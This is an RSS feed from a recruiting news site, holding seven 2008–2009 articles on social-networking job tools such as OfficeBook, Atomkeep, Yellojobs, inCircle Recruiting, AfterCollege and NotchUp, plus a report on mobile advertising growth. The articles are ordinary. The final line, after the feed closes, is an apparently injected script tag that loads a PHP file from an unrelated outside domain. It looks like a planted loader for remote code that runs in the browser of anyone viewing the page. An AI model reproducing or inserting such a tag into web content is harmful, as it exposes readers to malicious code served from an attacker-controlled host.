<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Recruiting Fly &#187; social networking</title>
	<atom:link href="http://www.recruitingfly.com/tag/social-networking/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.recruitingfly.com</link>
	<description>Employment News and Articles</description>
	<lastBuildDate>Thu, 22 Jul 2010 20:37:30 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Mobile Advertising to Increase</title>
		<link>http://www.recruitingfly.com/mobile-advertising-to-increase/</link>
		<comments>http://www.recruitingfly.com/mobile-advertising-to-increase/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 09:23:55 +0000</pubDate>
		<dc:creator>carpenjl</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://b.mjob.com/?p=531</guid>
		<description><![CDATA[Forrester Research is projecting that mobile and social networks will have the best areas of growth during the near future.]]></description>
			<content:encoded><![CDATA[<p>One research company is predicting that mobile and social network advertising will substantially increase during the near future.</p>
<p>Amidst its recent conference, <a href="http://www.forrester.com/rb/research">Forrester Research</a> released its projections for the growth of online advertising. The company found that mobile and social networks will have the best areas of growth, although all online sectors are showing strong growth potential.</p>
<p>The company predicts the overall online advertising growth rate for the six-year period from 2008 to 2014 will be 17 percent. At the same time, mobile advertising is expected to grow 27 percent per year, while social network advertising should grow 34 percent per year.</p>
<p><img class="alignleft size-full wp-image-532" src="http://www.recruitingfly.com/wp-content/uploads/2009/04/chart.jpg" alt="Chart" width="500" height="332" /></p>
<img src="http://www.recruitingfly.com/?ak_action=api_record_view&id=531&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.recruitingfly.com/mobile-advertising-to-increase/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OfficeBook Application on Facebook Checks for Good Karma</title>
		<link>http://www.recruitingfly.com/ved-officebook-launces-on-facebook/</link>
		<comments>http://www.recruitingfly.com/ved-officebook-launces-on-facebook/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 20:38:46 +0000</pubDate>
		<dc:creator>Vanessa Dennis</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[company culture]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[job seeker]]></category>
		<category><![CDATA[officebook]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.recruitingfly.com/ved-officebook-launces-on-facebook/</guid>
		<description><![CDATA[A new application on Facebook allows job seekers to get an insider's view of a company before accepting an offer. ]]></description>
			<content:encoded><![CDATA[<p>A new application on the social networking site <a href="http://www.facebook.com" target="_blank">Facebook</a> is allowing users to seek out companies that match their culture and values.</p>
<p>The OfficeBook application, created by the three people at Leaders 2020 Inc. who were frustrated by the inability of job seekers to uncover company culture through traditional means of job searching, has begun a fan club of about 500 users on Facebook since its debut last month.<br />
<span id="more-206"></span><br />
Users can anonymously express their feelings about a company or research what others have said in order to find the best cultural fit.</p>
<p>&#8220;With over 50 percent of Facebook&#8217;s users aged 30+ and seeking useful applications, we decided that OfficeBook should go live there,&#8221; co-founder and CEO Sundar Vanchinathan said. &#8220;We have been live for one month now and the response has been terrific. Over 960 views from all over the world, about 500 users, and over 6,500 page views.&#8221;</p>
<p>So why is measuring a company&#8217;s culture so important for the job seeker?</p>
<p>&#8220;[All three of us] have spent the last 15+ years working in Silicon Valley,&#8221; Vanchinathan said. &#8220;Over time, we realized that the most productive and successful companies are ones where every employee feels valued for who they are and what they believe in.&#8221;</p>
<p>The application can be found at <a href="http://apps.facebook.com/office-book" target="_blank">http://apps.facebook.com/office-book</a>.</p>
<img src="http://www.recruitingfly.com/?ak_action=api_record_view&id=206&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.recruitingfly.com/ved-officebook-launces-on-facebook/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Twitter and Jobster Partner with Atomkeep</title>
		<link>http://www.recruitingfly.com/ved-atomkeep-adds-twitter/</link>
		<comments>http://www.recruitingfly.com/ved-atomkeep-adds-twitter/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 14:23:48 +0000</pubDate>
		<dc:creator>Vanessa Dennis</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[job board]]></category>
		<category><![CDATA[jobster]]></category>
		<category><![CDATA[monster]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.recruitingfly.com/ved-atomkeep-adds-twitter/</guid>
		<description><![CDATA[Atomkeep, a site that allows profile information to be syncopated with other social networking or job sites, has partnered with Twitter and Jobster. ]]></description>
			<content:encoded><![CDATA[<p>Users of <a target="_blank" href="http://www.atomkeep.com">Atomkeep</a>, a data aggregator that allows those with profiles on <a href="http://www.linkedin.com">LinkedIn</a>, <a target="_blank" href="http://www.facebook.com">Facebook</a>, <a target="_blank" href="http://www.monster.com">Monster</a>, <a href="http://www.jobcentral.com">JobCentral</a> and other social networking or job sites to change their personal information all on one site, can now link profile changes to <a target="_blank" href="http://www.twitter.com">Twitter</a> and <a target="_blank" href="http://www.jobster.com">Jobster</a>.<br />
<span id="more-199"></span><br />
The social networking site and job board are just two of many sites that are allowing their users to syncopate profile information via Atomkeep, a Web 2.0 -style service that is still in beta.</p>
<p>Access is free. Users can log on to Atomkeep, and with one click of a button, relevant information can be updated, including resumes and personal data.</p>
<p>Atomkeep also plans on adding <a target="_blank" href="http://www.bebo.com">Bebo</a>, <a target="_blank" href="http://www.dice.com">Dice</a>, and <a target="_blank" href="http://www.myspace.com">Myspace</a> to their support roster in the near future.</p>
<img src="http://www.recruitingfly.com/?ak_action=api_record_view&id=199&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.recruitingfly.com/ved-atomkeep-adds-twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yellojobs.com Merges Social Networking and Recruiting</title>
		<link>http://www.recruitingfly.com/ved-yellojobs-merges-referrals-and-social-networking/</link>
		<comments>http://www.recruitingfly.com/ved-yellojobs-merges-referrals-and-social-networking/#comments</comments>
		<pubDate>Fri, 13 Jun 2008 16:13:01 +0000</pubDate>
		<dc:creator>Vanessa Dennis</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[employee referrals]]></category>
		<category><![CDATA[Recruiting]]></category>
		<category><![CDATA[referral recruiting]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.recruitingfly.com/ved-yellojobs-merges-referrals-and-social-networking/</guid>
		<description><![CDATA[On yellojobs.com, employers can post job ads with referral rewards for free, and only pay the reward when the hire is made.]]></description>
			<content:encoded><![CDATA[<p>Social networking, the world&#8217;s leading online connection tool, and referral recruiting, the most cost effective and efficient form of recruiting, have announced a merger on <a target="_blank" href="http://www.yellowjobs.com">Yellojobs.com</a>.</p>
<p>Under the agreement, social networkers can now generate income by leveraging who they know. Social networkers can search the job ads on Yellojobs.com and refer jobs with referral rewards to their friends. When a referred friend gets hired the referring party collects the cash reward.</p>
<p>The merger further stipulates that referral recruiting has finally entered the online world. Employers have long known that <a target="_blank" href="http://www.ere.net/articles/db/3F387BCC043F43C0B248BB34BA4B323B.asp" onclick="linkClick( this.href );" title="referrals are the best way to tap into the ">referrals are the best way to tap into the &#8220;Passive&#8221; candidate pool</a>. However, effectively reaching that audience through the web has to this point eluded employers. Now, with Yellojobs.com employers can post job ads with referral rewards for free. Since Yellojobs.com is entirely success based employers can post unlimited job ads with no risk.</p>
<img src="http://www.recruitingfly.com/?ak_action=api_record_view&id=164&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.recruitingfly.com/ved-yellojobs-merges-referrals-and-social-networking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Affinity Circles Launches inCircle Recruiting, the Anti-LinkedIn</title>
		<link>http://www.recruitingfly.com/ved-affinity-circles-is-the-anti-linkedin/</link>
		<comments>http://www.recruitingfly.com/ved-affinity-circles-is-the-anti-linkedin/#comments</comments>
		<pubDate>Fri, 13 Jun 2008 04:03:47 +0000</pubDate>
		<dc:creator>Vanessa Dennis</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[alumni network]]></category>
		<category><![CDATA[career network]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[Recruiting]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.recruitingfly.com/ved-affinity-circles-is-the-anti-linkedin/</guid>
		<description><![CDATA[Affinity Circles debuts inCircle Recruiting, a candidate sourcing tool that allows employers to target candidates within a network of over 140 alumni and student groups. ]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.affinitycircles.com" target="_blank">Affinity Circles</a>, a provider of social networks for academic and professional organizations, has launched <a href="http://www.incirclerecruiting.com" target="_blank">inCircle Recruiting</a>, a candidate sourcing tool that allows employers to target and engage passive candidates.</p>
<p>Companies can sift through a network of more than 140 alumni and professional groups, including 15 million degreed professionals. About 700,000 of those professionals are registered users who could be potential job targets.</p>
<p>InCircle Recruiting, in beta since September, is a subscription-based service that features targeted media campaigns aimed at reaching candidates who are already employed but are open to being approached by employers. Subscriptions, which begin at around $40,000, arm recruiters with customizable tools to target members by region, occupation, academic degree, industry, current and previous employer, job functions, and more.</p>
<p><a href="http://www.affinitycircles.com/news/releases/chuck_taylor_release_1_26_07.pdf" target="_blank">Chuck Taylor</a>, VP of Marketing,  spoke about the main function that sets Affinity Circles apart from competitor <a href="http://www.linkedin.com" target="_blank">LinkedIn</a>. &#8220;We encourage a lot of communication within the platform. I can send a message to anyone even if I&#8217;m not connected to them, which is one of the key differences between Affinity Circles and LinkedIn. There&#8217;s no requirement to go build out your network with a whole bunch of people before you can start communicating. Because we have these closed networks, we give every member of the community access to every other member for communication purposes.&#8221;</p>
<p>New features to the recruiting platform include:</p>
<p>1) The ability to run targeted media campaigns that promote employer&#8217;s opportunities to users meeting pre-specified criteria. Campaigns now extend beyond the inCircle community platform, in the form of emails that highlight opportunities waiting for users in the community. The system remembers the campaign criteria as long as the campaign remains active, and automatically promotes the corresponding opportunities to new users who join the network after the campaign is created.</p>
<p>2) The inCircle Recruiting candidate management system that enables employers to create talent pipelines for each of their job roles and to communicate with qualified candidates who have expressed interest in being contacted by a recruiter about those opportunities.</p>
<p>&#8220;Another big difference between Affinity Circles and LinkedIn is that we allow recruiters to specify what types of characteristics they are looking for,&#8221; Taylor said. &#8220;We have eleven different targeted parameters like current job role, current function, academic degree, and current employer. Candidates that meet those qualifications get a response from the employer for specific job opportunities. So we are defining a relevant audience for the employer, and then we&#8217;re measuring the degree to which we connected with that audience.&#8221;</p>
<img src="http://www.recruitingfly.com/?ak_action=api_record_view&id=154&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.recruitingfly.com/ved-affinity-circles-is-the-anti-linkedin/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>AfterCollege Expands Posting Service to 3,650 Departments, Student Groups</title>
		<link>http://www.recruitingfly.com/ved-aftercollege-expands-network/</link>
		<comments>http://www.recruitingfly.com/ved-aftercollege-expands-network/#comments</comments>
		<pubDate>Thu, 12 Jun 2008 16:03:04 +0000</pubDate>
		<dc:creator>Vanessa Dennis</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[alumni]]></category>
		<category><![CDATA[career network]]></category>
		<category><![CDATA[college recruiting]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[student groups]]></category>

		<guid isPermaLink="false">http://www.recruitingfly.com/ved-aftercollege-expands-network/</guid>
		<description><![CDATA[The largest career network for college students and alumni expands its posting service so that employers can target even more affinity-based groups with relevant opportunities. ]]></description>
			<content:encoded><![CDATA[<p>The largest career network for college students and alumni has broadened its employer posting service to include 3,650 academic departments and student groups at over 1,000 U.S. colleges and universities. Most academic disciplines, including business, liberal arts, tech/engineering, and allied health are included within the site&#8217;s reach.</p>
<p>Employers utilizing <a href="http://www.aftercollege.com" target="_blank">AfterCollege </a>can now choose from a much larger, more diverse network to advertise jobs, internships, and events to their target academic audience. They may purchase credits for occasional postings, or they can buy a package with unlimited privileges.</p>
<p><span id="more-153"></span><br />
&#8220;AfterCollege&#8217;s goal is to provide a one-stop shop for employers wishing to reach their target college audiences. We&#8217;ve more than doubled our posting network&#8217;s reach, giving employers substantial value and time savings through a single easy-to-use posting interface,&#8221; said <a href="http://www.aftercollege.com/teambios.asp?person=1" target="_blank" title="Bio">Roberto Angulo</a>, CEO of AfterCollege. &#8220;We&#8217;ve also empowered employers to post their own events at specific departments and student groups to promote on-campus visits.&#8221;</p>
<p>AfterCollege, founded in 1999, has gone on to become the largest web-based career network for college students and alumni. Their network encompasses over 15,000 academic departments and student organizations at the nation&#8217;s top colleges and universities.</p>
<img src="http://www.recruitingfly.com/?ak_action=api_record_view&id=153&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.recruitingfly.com/ved-aftercollege-expands-network/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>NotchUp Debuts Resume/ Profile Importer</title>
		<link>http://www.recruitingfly.com/ved-notchup-resume-importer/</link>
		<comments>http://www.recruitingfly.com/ved-notchup-resume-importer/#comments</comments>
		<pubDate>Wed, 11 Jun 2008 20:51:48 +0000</pubDate>
		<dc:creator>Vanessa Dennis</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[candidate]]></category>
		<category><![CDATA[interview]]></category>
		<category><![CDATA[Job Search]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.recruitingfly.com/ved-notchup-resume-importer/</guid>
		<description><![CDATA[Pay-per-interview job site adds an easy-to-use profile importer to their platform, allowing users to pull information directly from LinkedIn. ]]></description>
			<content:encoded><![CDATA[<p> Notchup.com, a job site that matches A-list workers with the companies that are willing to pay for the privilege to interview them, has a new feature that allows candidates to upload their resume or import their profile from <a target="_blank" href="http://www.linkedin.com">LinkedIn</a>.</p>
<p>Prospective interviewees can still name their own price &#8211; often between $200 and $500 per interview &#8211; and now they have an even easier time linking their customized profiles to employers.</p>
<p><span id="more-151"></span><br />
More than 1,000 users have registered since NotchUp was started in January, according to founders Jim Ambras and Rob Ellis. The Silicon Valley startup veterans were banking on the fact that the site would be successful after many recruiters and companies voiced frustration over talented candidates already crunched for time who would refuse interview prospects.</p>
<p>The job site not only connects companies with high-level candidates but also makes sitting down for an interview a much more painless process due to a nice chunk of cash that sweetens the deal.</p>
<img src="http://www.recruitingfly.com/?ak_action=api_record_view&id=151&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.recruitingfly.com/ved-notchup-resume-importer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>